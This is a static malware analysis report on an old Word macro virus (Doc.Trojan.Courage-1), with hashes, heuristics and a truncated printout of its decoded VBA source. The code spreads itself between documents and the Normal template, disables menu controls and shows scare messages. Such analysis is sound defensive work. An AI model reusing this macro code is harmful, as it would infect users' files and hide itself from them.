Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 760daa4c2b471cdc…

MALICIOUS

Office (OLE)

49.0 KB Created: 2000-06-21 01:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 25a731bd54d1eab83e71c6849c8e80f9 SHA-1: 9fc1238c6ba8040ff3bc8dafd802bfa2d7cc7a07 SHA-256: 760daa4c2b471cdc06da741d82551421695f62ef017039a94c7520fda749be92
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic auto-exec macros, specifically an 'autoopen' macro, which is a strong indicator of malicious intent. The macro attempts to display a message box with a fabricated message about the user's computer being compromised and then proceeds to disable several command bar controls. While the exact payload is not fully discernible due to truncation, the presence of these macros and the disabling of UI elements suggest an attempt to manipulate the user or prepare the system for further compromise.

Heuristics 4

  • ClamAV: Doc.Trojan.Courage-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Courage-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6677 bytes
SHA-256: 2c559b635aaebd06ad5b33644ea09d3241a468692e83dcd69f29c31186e80705
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoopen"
Sub main()


Dim normal_exist As Integer
Dim file_exist As Integer
Dim name_myfile As String
Dim path_myfile As String
Dim myfile As String
Dim path_normal As String
Dim name_normal As String
Dim normall As String
Dim dat As String
normal_exist = 0
file_exist = 0
On Error GoTo bye
dat = Day(Date)
If dat = 15 Then
b = MsgBox("½ñÌìÊÇ" + Str(Date) + "£¬ÎҵIJ¡¶¾·¢×÷ÁË¡£ÇëÎÊÄãÏë²»Ïë¸ñʽ»¯ÄãµÄÓ²ÅÌ£¿", vbOKCancel, "·Ç³£Òź¶£¬ÄãµÄ¼ÆËã»úȾÉϲ¡¶¾ÁË¡£")
If b = vbOK Then
MsgBox "Îҷdz£Åå·þÄãµÄÓÂÆø£¬Çë¼ÌÐø¹¤×÷°É¡£"
Else
MsgBox "Çë°´ÏÂÈ·¶¨¼ü£¬¸ñʽ»¯ÄúµÄÓ²ÅÌ"
For i = 3 To 10
Documents.Add
ActiveDocument.SaveAs
Next i
End If
End If


CommandBars("tools").Controls(12).Enabled = False
CommandBars("tools").Controls(14).Enabled = False
CommandBars("tools").Controls(13).Enabled = False
CommandBars("view").Controls(6).Enabled = False

path_normal = Options.DefaultFilePath(Path:=wdUserTemplatesPath)
path_myfile = ActiveDocument.Path
name_normal = NormalTemplate
normall = path_normal + "\" + name_normal
name_myfile = ActiveDocument.Name
myfile = path_myfile + "\" + name_myfile

all = ActiveDocument.VBProject.VBComponents.count
For i = 1 To all
If ActiveDocument.VBProject.VBComponents.Item(i).Name = "autoexec" Then
file_exist = 1
End If
Next i


If file_exist = 0 Then

For Each Item In ActiveDocument.VBProject.VBComponents
temp = Item.Name
If temp = "autoopen" Then

Application.OrganizerDelete myfile, "autoopen", wdOrganizerObjectProjectItems
End If
If temp = "autonew" Then
Application.OrganizerDelete myfile, "autonew", wdOrganizerObjectProjectItems
End If
Next

Application.OrganizerCopy Source:=normall, Destination:=myfile, Name:="autoopen", _
            Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=normall, Destination:=myfile, Name:="autonew", _
            Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=normall, Destination:=myfile, Name:="autoexec", _
            Object:=wdOrganizerObjectProjectItems
 ActiveDocument.Save
End If

all = NormalTemplate.VBProject.VBComponents.count
For i = 1 To all
If NormalTemplate.VBProject.VBComponents.Item(i).Name = "autoexec" Then
normal_exist = 1
End If
Next i

If normal_exist = 0 Then

For Each Item In NormalTemplate.VBProject.VBComponents
temp = Item.Name
If temp = "autoopen" Then

Application.OrganizerDelete normall, "autoopen", wdOrganizerObjectProjectItems
End If
If temp = "autonew" Then
Application.OrganizerDelete normall, "autonew", wdOrganizerObjectProjectItems
End If
Next

Application.OrganizerCopy Source:=myfile, Destination:=normall, Name:="autoopen", _
            Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=myfile, Destination:=normall, Name:="autoexec", _
            Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=myfile, Destination:=normall, Name:="autonew", _
            Object:=wdOrganizerObjectProjectItems
NormalTemplate.Save

End If


bye:




End Sub
  











Attribute VB_Name = "autoexec"
Sub main()


Dim temp As String
Dim i As Integer
Dim ii As Integer
Dim normal_exist As Integer
Dim file_exist As Integer
Dim name_myfile As String
Dim path_myfile As String
Dim myfile As String
Dim path_normal As String
Dim name_normal As String
Dim normall As String
Dim dat As String
Dim b As Long
normal_exist = 0
file_exist = 0
b = 99


On Error GoTo bye
If Documents.count = 0 Then
GoTo bye
End If


path_normal = Options.DefaultFilePath(Path:=wdUserTemplatesPath)
name_normal = NormalTemplate
normall = path_normal + "\" + name_normal

all_d = Documents.count
For i = 1 To all_d
path_myfile = Documents(i).Path
name_myfile = Documents(i).Name
If pat
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.